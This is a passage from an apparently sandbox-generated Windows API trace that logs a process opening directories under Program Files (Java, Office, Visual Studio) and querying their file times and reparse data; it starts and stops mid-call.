lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0254.234] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0254.234] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0254.234] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0254.237] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0254.237] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0254.237] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0254.240] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0254.241] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0254.241] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0254.245] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0254.246] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0254.246] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0254.250] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0254.251] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0254.251] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0254.254] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0254.254] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0254.254] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0254.258] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0254.258] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0254.258] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0254.260] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services" (normalized: "c:\\program files (x86)\\microsoft analysis services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0254.261] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0254.261] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0254.261] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0254.261] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0254.261] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0254.262] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0254.262] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0254.262] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0254.266] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0254.266] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.266] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.271] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\resources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0254.271] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.271] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.271] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\resources\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0254.272] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0254.272] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0254.272] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office" (normalized: "c:\\program files (x86)\\microsoft office"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0254.272] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0254.272] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0254.272] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14" (normalized: "c:\\program files (x86)\\microsoft office\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0254.273] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0254.273] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0254.273] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0254.273] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0254.273] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0254.275] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8" (normalized: "c:\\program files (x86)\\microsoft visual studio 8"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0254.276] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0254.276] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0254.278] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0254.278] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0254.278] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0254.278] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0254.278] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0254.279] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0254.279] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\privateassemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0254.279] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.279] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.280] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\publicassemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0254.280] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.280] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.283] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0254.283] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.283] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.283] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0254.284] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0254.284] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0254.284] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0254.284] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0254.284] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0254.284] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0254.285] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0254.285] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0254.288] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0254.288] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0254.288] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0254.289] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0254.289] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0254.289] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0254.292] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0254.292] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0254.292] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0254.292] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\packages\\debugger"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0254.293] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.293] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.293] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\sdk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0254.293] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0254.293] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0254.340] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0254.340] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0254.340] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0254.340] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta\\bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0254.341] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0254.341] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0254.386] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta\\bin\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0254.387] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0254.387] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0254.433] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET" (normalized: "c:\\program files (x86)\\microsoft.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 